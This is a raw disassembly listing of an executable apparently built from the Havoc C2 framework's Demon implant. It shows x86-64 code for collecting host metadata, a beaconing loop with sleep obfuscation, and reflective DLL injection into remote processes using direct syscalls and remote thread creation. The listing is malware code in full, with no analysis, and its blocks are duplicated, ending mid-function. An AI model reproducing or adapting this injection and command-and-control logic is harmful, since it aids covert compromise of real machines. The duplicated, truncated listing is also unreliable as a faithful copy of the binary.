File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140010df0
140010df0DemonMetaData:
140010df0push r12
140010df2xor eax, eax
140010df4xor r10l, r10l
140010df7push rbp
140010df8push rdi
140010df9push rsi
140010dfapush rbx
140010dfbmov rbx, rcx
140010dfemov ecx, 71
140010e03sub rsp, 320
140010e0atest edx, edx
140010e0clea rdi, [rsp+36]
140010e11mov [rsp+32], r10l
140010e16lea r12, [rsp+36]
140010e1brep stosd [rdi], eax
140010e1dje 0x140010e33
140010e1fmov ecx, 99
140010e24call PackageCreateWithMetaData
140010e29xor r9l, r9l
140010e2cmov [rbx], rax
140010e2fmov [rax+28], r9l
140010e33
140010e33loc_140010e33:
140010e33cmp [rip+0x136e1], 0
140010e3bjne 0x140010ea9
140010e3dcmp [rip+0x136df], 0
140010e45jne 0x140010ea9
140010e47mov edx, 32
140010e4cmov ecx, 64
140010e51xor esi, esi
140010e53call [rip+0x1394b]
140010e59mov edx, 16
140010e5emov ecx, 64
140010e63mov [rip+0x136b2], rax
140010e6acall [rip+0x13934]
140010e70mov [rip+0x136ad], rax
140010e77
140010e77loc_140010e77:
140010e77call RandomNumber32
140010e7cmov rdx, [rip+0x13699]
140010e83mov [rdx+rsi], al
140010e86inc rsi
140010e89cmp rsi, 32
140010e8djne 0x140010e77
140010e8fxor esi, esi
140010e91
140010e91loc_140010e91:
140010e91call RandomNumber32
140010e96mov rdx, [rip+0x13687]
140010e9dmov [rdx+rsi], al
140010ea0inc rsi
140010ea3cmp rsi, 16
140010ea7jne 0x140010e91
140010ea9
140010ea9loc_140010ea9:
140010ea9mov rdx, [rip+0x1366c]
140010eb0mov rcx, [rbx]
140010eb3mov r8l, 32
140010eb9lea rsi, [rsp+32]
140010ebecall PackageAddPad
140010ec3mov rdx, [rip+0x1365a]
140010ecamov rcx, [rbx]
140010ecdmov r8l, 16
140010ed3call PackageAddPad
140010ed8mov edx, [rip+0x13566]
140010edemov rcx, [rbx]
140010ee1call PackageAddInt32
140010ee6xor r8l, r8l
140010ee9xor edx, edx
140010eebxor ecx, ecx
140010eedmov [rsp+32], r8l
140010ef2mov r8, rsi
140010ef5call [rip+0x138a1]
140010efbtest eax, eax
140010efdjne 0x140010f65
140010effmov edx, [rsp+32]
140010f03mov ecx, 64
140010f08call [rip+0x13896]
140010f0emov rbp, rax
140010f11test rax, rax
140010f14je 0x140010f65
140010f16mov rdi, rax
140010f19mov ecx, [rsp+32]
140010f1dxor eax, eax
140010f1frep stosb [rdi], al
140010f21xor ecx, ecx
140010f23mov r8, rsi
140010f26mov rdx, rbp
140010f29call [rip+0x1386d]
140010f2ftest eax, eax
140010f31je 0x140010f45
140010f33mov r8l, [rsp+32]
140010f38mov rcx, [rbx]
140010f3bmov rdx, rbp
140010f3ecall PackageAddBytes
140010f43jmp 0x140010f4f
140010f45
140010f45loc_140010f45:
140010f45mov rcx, [rbx]
140010f48xor edx, edx
140010f4acall PackageAddInt32
140010f4f
140010f4floc_140010f4f:
140010f4fmov ecx, [rsp+32]
140010f53mov rdi, rbp
140010f56xor eax, eax
140010f58rep stosb [rdi], al
140010f5amov rcx, rbp
140010f5dcall [rip+0x13849]
140010f63jmp 0x140010f6f
140010f65
140010f65loc_140010f65:
140010f65mov rcx, [rbx]
140010f68xor edx, edx
140010f6acall PackageAddInt32
140010f6f
140010f6floc_140010f6f:
140010f6fxor ecx, ecx
140010f71mov rdx, rsi
140010f74mov [rsp+32], ecx
140010f78xor ecx, ecx
140010f7acall [rip+0x139c4]
140010f80test eax, eax
140010f82jne 0x140010fe8
140010f84mov edx, [rsp+32]
140010f88mov ecx, 64
140010f8dcall [rip+0x13811]
140010f93mov rbp, rax
140010f96test rax, rax
140010f99je 0x140010fe8
140010f9bmov rdi, rax
140010f9emov ecx, [rsp+32]
140010fa2xor eax, eax
140010fa4rep stosb [rdi], al
140010fa6mov rdx, rsi
140010fa9mov rcx, rbp
140010faccall [rip+0x13992]
140010fb2test eax, eax
140010fb4je 0x140010fc8
140010fb6mov r8l, [rsp+32]
140010fbbmov rcx, [rbx]
140010fbemov rdx, rbp
140010fc1call PackageAddBytes
140010fc6jmp 0x140010fd2
140010fc8
140010fc8loc_140010fc8:
140010fc8mov rcx, [rbx]
140010fcbxor edx, edx
140010fcdcall PackageAddInt32
140010fd2
140010fd2loc_140010fd2:
140010fd2mov ecx, [rsp+32]
140010fd6mov rdi, rbp
140010fd9xor eax, eax
140010fdbrep stosb [rdi], al
140010fddmov rcx, rbp
140010fe0call [rip+0x137c6]
140010fe6jmp 0x140010ff2
140010fe8
140010fe8loc_140010fe8:
140010fe8mov rcx, [rbx]
140010febxor edx, edx
140010fedcall PackageAddInt32
140010ff2
140010ff2loc_140010ff2:
140010ff2xor edx, edx
140010ff4mov r8, rsi
140010ff7mov ecx, 2
140010ffcmov [rsp+32], edx
140011000xor edx, edx
140011002call [rip+0x13794]
140011008test eax, eax
14001100ajne 0x140011075
14001100cmov edx, [rsp+32]
140011010mov ecx, 64
140011015call [rip+0x13789]
14001101bmov rbp, rax
14001101etest rax, rax
140011021je 0x140011075
140011023mov rdi, rax
140011026mov ecx, [rsp+32]
14001102axor eax, eax
14001102crep stosb [rdi], al
14001102emov ecx, 2
140011033mov r8, rsi
140011036mov rdx, rbp
140011039call [rip+0x1375d]
14001103ftest eax, eax
140011041je 0x140011055
140011043mov r8l, [rsp+32]
140011048mov rcx, [rbx]
14001104bmov rdx, rbp
14001104ecall PackageAddBytes
140011053jmp 0x14001105f
140011055
140011055loc_140011055:
140011055mov rcx, [rbx]
140011058xor edx, edx
14001105acall PackageAddInt32
14001105f
14001105floc_14001105f:
14001105fmov ecx, [rsp+32]
140011063mov rdi, rbp
140011066xor eax, eax
140011068rep stosb [rdi], al
14001106amov rcx, rbp
14001106dcall [rip+0x13739]
140011073jmp 0x14001107f
140011075
140011075loc_140011075:
140011075mov rcx, [rbx]
140011078xor edx, edx
14001107acall PackageAddInt32
14001107f
14001107floc_14001107f:
14001107fxor eax, eax
140011081xor ecx, ecx
140011083mov rdx, rsi
140011086mov [rsp+32], eax
14001108acall [rip+0x13a04]
140011090test eax, eax
140011092je 0x1400110ec
140011094mov edx, [rsp+32]
140011098mov ecx, 64
14001109dcall [rip+0x13701]
1400110a3mov rbp, rax
1400110a6test rax, rax
1400110a9je 0x1400110ec
1400110abmov rdx, rsi
1400110aemov rcx, rax
1400110b1call [rip+0x139dd]
1400110b7test eax, eax
1400110b9jne 0x1400110cc
1400110bbmov rcx, [rbx]
1400110belea rdx, [rbp+448]
1400110c5call PackageAddString
1400110cajmp 0x1400110d6
1400110cc
1400110ccloc_1400110cc:
1400110ccmov rcx, [rbx]
1400110cfxor edx, edx
1400110d1call PackageAddInt32
1400110d6
1400110d6loc_1400110d6:
1400110d6mov ecx, [rsp+32]
1400110damov rdi, rbp
1400110ddxor eax, eax
1400110dfrep stosb [rdi], al
1400110e1mov rcx, rbp
1400110e4call [rip+0x136c2]
1400110eajmp 0x1400110f6
1400110ec
1400110ecloc_1400110ec:
1400110ecmov rcx, [rbx]
1400110efxor edx, edx
1400110f1call PackageAddInt32
1400110f6
1400110f6loc_1400110f6:
1400110f6mov rax, [rip+0x13bb9]
1400110fdmov rcx, [rbx]
140011100mov rdi, r12
140011103mov rax, [rax+96]
140011107mov rax, [rax+32]
14001110bmov rdx, [rax+104]
14001110fcall PackageAddWString
140011114mov rax, [rip+0x13b9b]
14001111bmov rcx, [rbx]
14001111emov edx, [rax+64]
140011121call PackageAddInt32
140011126mov rax, [rip+0x13b89]
14001112dmov rcx, [rbx]
140011130mov edx, [rax+72]
140011133call PackageAddInt32
140011138mov rcx, [rbx]
14001113bmov edx, [rip+0x13313]
140011141call PackageAddInt32
140011146mov rcx, [rbx]
140011149mov edx, 2
14001114ecall PackageAddInt32
140011153call BeaconIsAdmin
140011158mov rcx, [rbx]
14001115bmov edx, eax
14001115dcall PackageAddInt32
140011162mov rcx, [rbx]
140011165mov rdx, [rip+0x132c0]
14001116ccall PackageAddInt64
140011171mov ecx, 284
140011176xor eax, eax
140011178rep stosb [rdi], al
14001117amov rcx, r12
14001117dmov [rsp+36], 284
140011185call [rip+0x133d9]
14001118bmov edx, [rsp+40]
14001118fmov rcx, [rbx]
140011192call PackageAddInt32
140011197mov edx, [rsp+44]
14001119bmov rcx, [rbx]
14001119ecall PackageAddInt32
1400111a3movzx edx, [rsp+318]
1400111abmov rcx, [rbx]
1400111aecall PackageAddInt32
1400111b3movzx edx, [rsp+312]
1400111bbmov rcx, [rbx]
1400111becall PackageAddInt32
1400111c3mov edx, [rsp+48]
1400111c7mov rcx, [rbx]
1400111cacall PackageAddInt32
1400111cfmov rcx, [rbx]
1400111d2movzx edx, [rip+0x1327f]
1400111d9call PackageAddInt32
1400111demov rcx, [rbx]
1400111e1mov edx, [rip+0x13279]
1400111e7call PackageAddInt32
1400111ecmov rcx, [rbx]
1400111efmov edx, [rip+0x1326f]
1400111f5call PackageAddInt32
1400111famov rcx, [rbx]
1400111fdmov rdx, [rip+0x13278]
140011204call PackageAddInt64
140011209mov rcx, [rbx]
14001120cmov edx, [rip+0x13272]
140011212call PackageAddInt32
140011217add rsp, 320
14001121epop rbx
14001121fpop rsi
140011220pop rdi
140011221pop rbp
140011222pop r12
140011224ret
140010df0
140010df0DemonMetaData:
140010df0push r12
140010df2xor eax, eax
140010df4xor r10l, r10l
140010df7push rbp
140010df8push rdi
140010df9push rsi
140010dfapush rbx
140010dfbmov rbx, rcx
140010dfemov ecx, 71
140010e03sub rsp, 320
140010e0atest edx, edx
140010e0clea rdi, [rsp+36]
140010e11mov [rsp+32], r10l
140010e16lea r12, [rsp+36]
140010e1brep stosd [rdi], eax
140010e1dje 0x140010e33
140010e1fmov ecx, 99
140010e24call PackageCreateWithMetaData
140010e29xor r9l, r9l
140010e2cmov [rbx], rax
140010e2fmov [rax+28], r9l
140010e33
140010e33loc_140010e33:
140010e33cmp [rip+0x136e1], 0
140010e3bjne 0x140010ea9
140010e3dcmp [rip+0x136df], 0
140010e45jne 0x140010ea9
140010e47mov edx, 32
140010e4cmov ecx, 64
140010e51xor esi, esi
140010e53call [rip+0x1394b]
140010e59mov edx, 16
140010e5emov ecx, 64
140010e63mov [rip+0x136b2], rax
140010e6acall [rip+0x13934]
140010e70mov [rip+0x136ad], rax
140010e77
140010e77loc_140010e77:
140010e77call RandomNumber32
140010e7cmov rdx, [rip+0x13699]
140010e83mov [rdx+rsi], al
140010e86inc rsi
140010e89cmp rsi, 32
140010e8djne 0x140010e77
140010e8fxor esi, esi
140010e91
140010e91loc_140010e91:
140010e91call RandomNumber32
140010e96mov rdx, [rip+0x13687]
140010e9dmov [rdx+rsi], al
140010ea0inc rsi
140010ea3cmp rsi, 16
140010ea7jne 0x140010e91
140010ea9
140010ea9loc_140010ea9:
140010ea9mov rdx, [rip+0x1366c]
140010eb0mov rcx, [rbx]
140010eb3mov r8l, 32
140010eb9lea rsi, [rsp+32]
140010ebecall PackageAddPad
140010ec3mov rdx, [rip+0x1365a]
140010ecamov rcx, [rbx]
140010ecdmov r8l, 16
140010ed3call PackageAddPad
140010ed8mov edx, [rip+0x13566]
140010edemov rcx, [rbx]
140010ee1call PackageAddInt32
140010ee6xor r8l, r8l
140010ee9xor edx, edx
140010eebxor ecx, ecx
140010eedmov [rsp+32], r8l
140010ef2mov r8, rsi
140010ef5call [rip+0x138a1]
140010efbtest eax, eax
140010efdjne 0x140010f65
140010effmov edx, [rsp+32]
140010f03mov ecx, 64
140010f08call [rip+0x13896]
140010f0emov rbp, rax
140010f11test rax, rax
140010f14je 0x140010f65
140010f16mov rdi, rax
140010f19mov ecx, [rsp+32]
140010f1dxor eax, eax
140010f1frep stosb [rdi], al
140010f21xor ecx, ecx
140010f23mov r8, rsi
140010f26mov rdx, rbp
140010f29call [rip+0x1386d]
140010f2ftest eax, eax
140010f31je 0x140010f45
140010f33mov r8l, [rsp+32]
140010f38mov rcx, [rbx]
140010f3bmov rdx, rbp
140010f3ecall PackageAddBytes
140010f43jmp 0x140010f4f
140010f45
140010f45loc_140010f45:
140010f45mov rcx, [rbx]
140010f48xor edx, edx
140010f4acall PackageAddInt32
140010f4f
140010f4floc_140010f4f:
140010f4fmov ecx, [rsp+32]
140010f53mov rdi, rbp
140010f56xor eax, eax
140010f58rep stosb [rdi], al
140010f5amov rcx, rbp
140010f5dcall [rip+0x13849]
140010f63jmp 0x140010f6f
140010f65
140010f65loc_140010f65:
140010f65mov rcx, [rbx]
140010f68xor edx, edx
140010f6acall PackageAddInt32
140010f6f
140010f6floc_140010f6f:
140010f6fxor ecx, ecx
140010f71mov rdx, rsi
140010f74mov [rsp+32], ecx
140010f78xor ecx, ecx
140010f7acall [rip+0x139c4]
140010f80test eax, eax
140010f82jne 0x140010fe8
140010f84mov edx, [rsp+32]
140010f88mov ecx, 64
140010f8dcall [rip+0x13811]
140010f93mov rbp, rax
140010f96test rax, rax
140010f99je 0x140010fe8
140010f9bmov rdi, rax
140010f9emov ecx, [rsp+32]
140010fa2xor eax, eax
140010fa4rep stosb [rdi], al
140010fa6mov rdx, rsi
140010fa9mov rcx, rbp
140010faccall [rip+0x13992]
140010fb2test eax, eax
140010fb4je 0x140010fc8
140010fb6mov r8l, [rsp+32]
140010fbbmov rcx, [rbx]
140010fbemov rdx, rbp
140010fc1call PackageAddBytes
140010fc6jmp 0x140010fd2
140010fc8
140010fc8loc_140010fc8:
140010fc8mov rcx, [rbx]
140010fcbxor edx, edx
140010fcdcall PackageAddInt32
140010fd2
140010fd2loc_140010fd2:
140010fd2mov ecx, [rsp+32]
140010fd6mov rdi, rbp
140010fd9xor eax, eax
140010fdbrep stosb [rdi], al
140010fddmov rcx, rbp
140010fe0call [rip+0x137c6]
140010fe6jmp 0x140010ff2
140010fe8
140010fe8loc_140010fe8:
140010fe8mov rcx, [rbx]
140010febxor edx, edx
140010fedcall PackageAddInt32
140010ff2
140010ff2loc_140010ff2:
140010ff2xor edx, edx
140010ff4mov r8, rsi
140010ff7mov ecx, 2
140010ffcmov [rsp+32], edx
140011000xor edx, edx
140011002call [rip+0x13794]
140011008test eax, eax
14001100ajne 0x140011075
14001100cmov edx, [rsp+32]
140011010mov ecx, 64
140011015call [rip+0x13789]
14001101bmov rbp, rax
14001101etest rax, rax
140011021je 0x140011075
140011023mov rdi, rax
140011026mov ecx, [rsp+32]
14001102axor eax, eax
14001102crep stosb [rdi], al
14001102emov ecx, 2
140011033mov r8, rsi
140011036mov rdx, rbp
140011039call [rip+0x1375d]
14001103ftest eax, eax
140011041je 0x140011055
140011043mov r8l, [rsp+32]
140011048mov rcx, [rbx]
14001104bmov rdx, rbp
14001104ecall PackageAddBytes
140011053jmp 0x14001105f
140011055
140011055loc_140011055:
140011055mov rcx, [rbx]
140011058xor edx, edx
14001105acall PackageAddInt32
14001105f
14001105floc_14001105f:
14001105fmov ecx, [rsp+32]
140011063mov rdi, rbp
140011066xor eax, eax
140011068rep stosb [rdi], al
14001106amov rcx, rbp
14001106dcall [rip+0x13739]
140011073jmp 0x14001107f
140011075
140011075loc_140011075:
140011075mov rcx, [rbx]
140011078xor edx, edx
14001107acall PackageAddInt32
14001107f
14001107floc_14001107f:
14001107fxor eax, eax
140011081xor ecx, ecx
140011083mov rdx, rsi
140011086mov [rsp+32], eax
14001108acall [rip+0x13a04]
140011090test eax, eax
140011092je 0x1400110ec
140011094mov edx, [rsp+32]
140011098mov ecx, 64
14001109dcall [rip+0x13701]
1400110a3mov rbp, rax
1400110a6test rax, rax
1400110a9je 0x1400110ec
1400110abmov rdx, rsi
1400110aemov rcx, rax
1400110b1call [rip+0x139dd]
1400110b7test eax, eax
1400110b9jne 0x1400110cc
1400110bbmov rcx, [rbx]
1400110belea rdx, [rbp+448]
1400110c5call PackageAddString
1400110cajmp 0x1400110d6
1400110cc
1400110ccloc_1400110cc:
1400110ccmov rcx, [rbx]
1400110cfxor edx, edx
1400110d1call PackageAddInt32
1400110d6
1400110d6loc_1400110d6:
1400110d6mov ecx, [rsp+32]
1400110damov rdi, rbp
1400110ddxor eax, eax
1400110dfrep stosb [rdi], al
1400110e1mov rcx, rbp
1400110e4call [rip+0x136c2]
1400110eajmp 0x1400110f6
1400110ec
1400110ecloc_1400110ec:
1400110ecmov rcx, [rbx]
1400110efxor edx, edx
1400110f1call PackageAddInt32
1400110f6
1400110f6loc_1400110f6:
1400110f6mov rax, [rip+0x13bb9]
1400110fdmov rcx, [rbx]
140011100mov rdi, r12
140011103mov rax, [rax+96]
140011107mov rax, [rax+32]
14001110bmov rdx, [rax+104]
14001110fcall PackageAddWString
140011114mov rax, [rip+0x13b9b]
14001111bmov rcx, [rbx]
14001111emov edx, [rax+64]
140011121call PackageAddInt32
140011126mov rax, [rip+0x13b89]
14001112dmov rcx, [rbx]
140011130mov edx, [rax+72]
140011133call PackageAddInt32
140011138mov rcx, [rbx]
14001113bmov edx, [rip+0x13313]
140011141call PackageAddInt32
140011146mov rcx, [rbx]
140011149mov edx, 2
14001114ecall PackageAddInt32
140011153call BeaconIsAdmin
140011158mov rcx, [rbx]
14001115bmov edx, eax
14001115dcall PackageAddInt32
140011162mov rcx, [rbx]
140011165mov rdx, [rip+0x132c0]
14001116ccall PackageAddInt64
140011171mov ecx, 284
140011176xor eax, eax
140011178rep stosb [rdi], al
14001117amov rcx, r12
14001117dmov [rsp+36], 284
140011185call [rip+0x133d9]
14001118bmov edx, [rsp+40]
14001118fmov rcx, [rbx]
140011192call PackageAddInt32
140011197mov edx, [rsp+44]
14001119bmov rcx, [rbx]
14001119ecall PackageAddInt32
1400111a3movzx edx, [rsp+318]
1400111abmov rcx, [rbx]
1400111aecall PackageAddInt32
1400111b3movzx edx, [rsp+312]
1400111bbmov rcx, [rbx]
1400111becall PackageAddInt32
1400111c3mov edx, [rsp+48]
1400111c7mov rcx, [rbx]
1400111cacall PackageAddInt32
1400111cfmov rcx, [rbx]
1400111d2movzx edx, [rip+0x1327f]
1400111d9call PackageAddInt32
1400111demov rcx, [rbx]
1400111e1mov edx, [rip+0x13279]
1400111e7call PackageAddInt32
1400111ecmov rcx, [rbx]
1400111efmov edx, [rip+0x1326f]
1400111f5call PackageAddInt32
1400111famov rcx, [rbx]
1400111fdmov rdx, [rip+0x13278]
140011204call PackageAddInt64
140011209mov rcx, [rbx]
14001120cmov edx, [rip+0x13272]
140011212call PackageAddInt32
140011217add rsp, 320
14001121epop rbx
14001121fpop rsi
140011220pop rdi
140011221pop rbp
140011222pop r12
140011224ret
140010df0
140011225
140011225 // align 0x10
140011225 // align 0x10
140011230
140011230DemonRoutine:
140011230sub rsp, 40
140011234
140011234loc_140011234:
140011234cmp [rip+0x1320d], 0
14001123bje 0x140011244
14001123d
14001123dloc_14001123d:
14001123dcall CommandDispatcher
140011242jmp 0x140011262
140011244
140011244loc_140011244:
140011244call TransportInit
140011249test eax, eax
14001124bje 0x140011259
14001124dmov rax, [rip+0x13214]
140011254xor edx, edx
140011256mov [rax+12], edx
140011259
140011259loc_140011259:
140011259cmp [rip+0x131e8], 0
140011260jne 0x14001123d
140011262
140011262loc_140011262:
140011262call SleepObf
140011267jmp 0x140011234
140011230
140011230DemonRoutine:
140011230sub rsp, 40
140011234
140011234loc_140011234:
140011234cmp [rip+0x1320d], 0
14001123bje 0x140011244
14001123d
14001123dloc_14001123d:
14001123dcall CommandDispatcher
140011242jmp 0x140011262
140011244
140011244loc_140011244:
140011244call TransportInit
140011249test eax, eax
14001124bje 0x140011259
14001124dmov rax, [rip+0x13214]
140011254xor edx, edx
140011256mov [rax+12], edx
140011259
140011259loc_140011259:
140011259cmp [rip+0x131e8], 0
140011260jne 0x14001123d
140011262
140011262loc_140011262:
140011262call SleepObf
140011267jmp 0x140011234
140011230
140011269
140011269 // align 0x10
140011269 // align 0x10
140011270
140011270DllInjectReflective:
140011270push r15
140011272push r14
140011274push r13
140011276push r12
140011278mov r12l, r8l
14001127bmov r8l, 174
140011281push rbp
140011282mov rbp, r9
140011285push rdi
140011286lea rdi, [rip+0x19805]
14001128dpush rsi
14001128emov rsi, rdx
140011291lea rdx, [rip+0x1b698]
140011298push rbx
140011299sub rsp, 88
14001129dmov ebx, [rsp+192]
1400112a4mov rax, [rsp+216]
1400112acmov [rsp+32], r9
1400112b1mov r9, rcx
1400112b4mov [rsp+160], rcx
1400112bclea rcx, [rip+0x19b40]
1400112c3mov [rsp+48], rax
1400112c8mov [rsp+40], ebx
1400112cccall printf
1400112d1mov rax, [rip+0x1b098]
1400112d8xor ecx, ecx
1400112datest rbp, rbp
1400112ddmov [rsp+72], rcx
1400112e2mov r13w, [rax+88]
1400112e7sete al
1400112eatest ebx, ebx
1400112ecsete dl
1400112efor al, dl
1400112f1jne 0x1400112fe
1400112f3cmp [rsp+160], 0
1400112fcjne 0x140011323
1400112fe
1400112feloc_1400112fe:
1400112felea r9, [rip+0x19b35]
140011305mov r8l, 192
14001130bmov rcx, rdi
14001130eor r12l, -1
140011312lea rdx, [rip+0x1b617]
140011319call printf
14001131ejmp 0x1400117a3
140011323
140011323loc_140011323:
140011323mov rcx, [rsp+160]
14001132bcall ProcessIsWow
140011330mov rcx, rbp
140011333test eax, eax
140011335je 0x14001136a
140011337call GetPeArch
14001133cxor r13l, r13l
14001133fdec eax
140011341je 0x1400113a9
140011343lea r9, [rip+0x19aff]
14001134amov r8l, 202
140011350lea rdx, [rip+0x1b5d9]
140011357mov rcx, rdi
14001135acall printf
14001135fmov r12l, 4097
140011365jmp 0x1400117a3
14001136a
14001136aloc_14001136a:
14001136acall GetPeArch
14001136fcmp eax, 2
140011372jne 0x140011382
140011374test r13w, r13w
140011378setne r13b
14001137cmovzx r13l, r13b
140011380jmp 0x1400113a9
140011382
140011382loc_140011382:
140011382lea r9, [rip+0x19b01]
140011389mov r8l, 210
14001138flea rdx, [rip+0x1b59a]
140011396mov rcx, rdi
140011399call printf
14001139emov r12l, 4098
1400113a4jmp 0x1400117a3
1400113a9
1400113a9loc_1400113a9:
1400113a9mov rcx, rbp
1400113accall GetReflectiveLoaderOffset
1400113b1mov r15l, eax
1400113b4test r15l, r15l
1400113b7je 0x1400113dc
1400113b9mov rcx, rdi
1400113bclea r9, [rip+0x19b08]
1400113c3mov r8l, 216
1400113c9mov edi, 1
1400113celea rdx, [rip+0x1b55b]
1400113d5call printf
1400113dajmp 0x14001142c
1400113dc
1400113dcloc_1400113dc:
1400113dclea r9, [rip+0x19b18]
1400113e3mov r8l, 221
1400113e9lea rdx, [rip+0x1b540]
1400113f0lea rcx, [rip+0x1969b]
1400113f7call printf
1400113fcmov rax, [rip+0x1af6d]
140011403lea edx, [rbx+r12]
140011407mov ecx, 64
14001140cmov r14, rdx
14001140fcall [rax+932]
140011415mov ecx, r12l
140011418mov rdi, rax
14001141brep movsb [rdi], [rsi]
14001141dmov ecx, ebx
14001141fmov rsi, rbp
140011422mov ebx, r14l
140011425mov rbp, rax
140011428rep movsb [rdi], [rsi]
14001142axor edi, edi
14001142c
14001142cloc_14001142c:
14001142cmov r9l, r15l
14001142fmov r8l, 229
140011435lea rdx, [rip+0x1b4f4]
14001143clea rcx, [rip+0x19af9]
140011443call printf
140011448mov rax, [rsp+200]
140011450mov r9, [rsp+208]
140011458mov r8l, 232
14001145elea rdx, [rip+0x1b4cb]
140011465lea rcx, [rip+0x19b00]
14001146cmov [rsp+32], rax
140011471call printf
140011476cmp [rsp+208], 0
14001147fje 0x14001157f
140011485mov r8, [rsp+208]
14001148dmov rdx, [rsp+160]
140011495mov r9l, 4
14001149bxor ecx, ecx
14001149dcall MemoryAlloc
1400114a2mov rsi, rax
1400114a5test rax, rax
1400114a8je 0x14001153b
1400114aemov r9, rax
1400114b1mov r8l, 238
1400114b7lea rdx, [rip+0x1b472]
1400114belea rcx, [rip+0x19ad7]
1400114c5call printf
1400114calea rax, [rsp+72]
1400114cfmov rdx, rsi
1400114d2mov rcx, [rsp+160]
1400114damov [rsp+32], rax
1400114dfmov r9, [rsp+208]
1400114e7mov r8, [rsp+200]
1400114efcall SysNtWriteVirtualMemory
1400114f4lea rcx, [rip+0x19597]
1400114fbtest eax, eax
1400114fdmov r12l, eax
140011500jns 0x140011520
140011502lea r9, [rip+0x19ae3]
140011509mov r8l, 242
14001150flea rdx, [rip+0x1b41a]
140011516call printf
14001151bjmp 0x140011727
140011520
140011520loc_140011520:
140011520lea r9, [rip+0x19b01]
140011527mov r8l, 248
14001152dlea rdx, [rip+0x1b3fc]
140011534call printf
140011539jmp 0x140011581
14001153b
14001153bloc_14001153b:
14001153blea rdx, [rip+0x1b3ee]
140011542lea r9, [rip+0x19b12]
140011549mov r8l, 252
14001154flea rcx, [rip+0x1953c]
140011556call printf
14001155bmov rax, [rip+0x1ae0e]
140011562xor ecx, ecx
140011564call [rax+348]
14001156amov edx, eax
14001156c
14001156cloc_14001156c:
14001156cmov ecx, 1
140011571call PackageTransmitError
140011576
140011576loc_140011576:
140011576or r12l, -1
14001157ajmp 0x140011775
14001157f
14001157floc_14001157f:
14001157fxor esi, esi
140011581
140011581loc_140011581:
140011581mov rdx, [rsp+160]
140011589mov r12l, ebx
14001158cmov r9l, 4
140011592xor ecx, ecx
140011594mov r8, r12
140011597call MemoryAlloc
14001159cmov r14, rax
14001159ftest rax, rax
1400115a2je 0x140011745
1400115a8lea r9, [rip+0x19aee]
1400115afmov r8l, 263
1400115b5lea rdx, [rip+0x1b374]
1400115bclea rcx, [rip+0x194cf]
1400115c3call printf
1400115c8lea rax, [rsp+72]
1400115cdmov r9, r12
1400115d0mov r8, rbp
1400115d3mov [rsp+32], rax
1400115d8mov rcx, [rsp+160]
1400115e0mov rdx, r14
1400115e3call SysNtWriteVirtualMemory
1400115e8mov r12l, eax
1400115ebtest eax, eax
1400115edjs 0x14001170b
1400115f3mov r9, r14
1400115f6mov r8l, 267
1400115fclea rdx, [rip+0x1b32d]
140011603lea rcx, [rip+0x19ab8]
14001160acall printf
14001160fxor edx, edx
140011611mov r8, r14
140011614mov r9l, 16384
14001161amov [rsp+32], 32
140011622and r8, -8192
140011629mov ecx, 2
14001162emov [rsp+72], rdx
140011633mov rdx, [rsp+160]
14001163bcall MemoryProtect
140011640test eax, eax
140011642je 0x1400116d5
140011648mov rax, [rsp+216]
140011650mov r9, rsi
140011653mov r8l, 278
140011659lea rdx, [rip+0x1b2d0]
140011660lea rcx, [rip+0x19a97]
140011667xor r12l, r12l
14001166amov [rax+34], rsi
14001166ecall printf
140011673xor eax, eax
140011675mov [rsp+32], rsi
14001167alea r9, [r14+r15]
14001167emov [rsp+40], rax
140011683mov rdx, [rsp+160]
14001168bmov r8l, r13l
14001168emov ecx, 2
140011693call ThreadCreate
140011698test rax, rax
14001169bjne 0x140011775
1400116a1mov rsi, [rip+0x1acc8]
1400116a8mov r8l, 282
1400116aelea rdx, [rip+0x1b27b]
1400116b5lea rcx, [rip+0x19a66]
1400116bcmov rax, [rsi+2230]
1400116c3mov r9l, [rax+104]
1400116c7call printf
1400116ccmov rax, [rsi+2230]
1400116d3jmp 0x140011703
1400116d5
1400116d5loc_1400116d5:
1400116d5lea r9, [rip+0x19a73]
1400116dcmov r8l, 293
1400116e2lea rdx, [rip+0x1b247]
1400116e9lea rcx, [rip+0x193a2]
1400116f0call printf
1400116f5mov rax, [rip+0x1ac74]
1400116fcmov rax, [rax+2230]
140011703
140011703loc_140011703:
140011703mov edx, [rax+104]
140011706jmp 0x14001156c
14001170b
14001170bloc_14001170b:
14001170bmov r9l, eax
14001170emov r8l, 301
140011714lea rdx, [rip+0x1b215]
14001171blea rcx, [rip+0x19a50]
140011722call printf
140011727
140011727loc_140011727:
140011727mov rax, [rip+0x1ac42]
14001172emov ecx, r12l
140011731call [rax+348]
140011737mov ecx, 1
14001173cmov edx, eax
14001173ecall PackageTransmitError
140011743jmp 0x140011775
140011745
140011745loc_140011745:
140011745mov rax, [rip+0x1ac24]
14001174cmov r8l, 308
140011752lea rdx, [rip+0x1b1d7]
140011759lea rcx, [rip+0x19a61]
140011760mov rax, [rax+2230]
140011767mov r9l, [rax+104]
14001176bcall printf
140011770jmp 0x140011576
140011775
140011775loc_140011775:
140011775dec edi
140011777je 0x1400117a3
140011779mov ecx, ebx
14001177bmov rdi, rbp
14001177exor eax, eax
140011780rep stosb [rdi], al
140011782mov rax, [rip+0x1abe7]
140011789mov r8, rbp
14001178cmov rdx, [rax+2230]
140011793mov rdx, [rdx+96]
140011797mov rcx, [rdx+48]
14001179bxor edx, edx
14001179dcall [rax+332]
1400117a3
1400117a3loc_1400117a3:
1400117a3add rsp, 88
1400117a7mov eax, r12l
1400117aapop rbx
1400117abpop rsi
1400117acpop rdi
1400117adpop rbp
1400117aepop r12
1400117b0pop r13
1400117b2pop r14
1400117b4pop r15
1400117b6ret
140011270
140011270DllInjectReflective:
140011270push r15
140011272push r14
140011274push r13
140011276push r12
140011278mov r12l, r8l
14001127bmov r8l, 174
140011281push rbp
140011282mov rbp, r9
140011285push rdi
140011286lea rdi, [rip+0x19805]
14001128dpush rsi
14001128emov rsi, rdx
140011291lea rdx, [rip+0x1b698]
140011298push rbx
140011299sub rsp, 88
14001129dmov ebx, [rsp+192]
1400112a4mov rax, [rsp+216]
1400112acmov [rsp+32], r9
1400112b1mov r9, rcx
1400112b4mov [rsp+160], rcx
1400112bclea rcx, [rip+0x19b40]
1400112c3mov [rsp+48], rax
1400112c8mov [rsp+40], ebx
1400112cccall printf
1400112d1mov rax, [rip+0x1b098]
1400112d8xor ecx, ecx
1400112datest rbp, rbp
1400112ddmov [rsp+72], rcx
1400112e2mov r13w, [rax+88]
1400112e7sete al
1400112eatest ebx, ebx
1400112ecsete dl
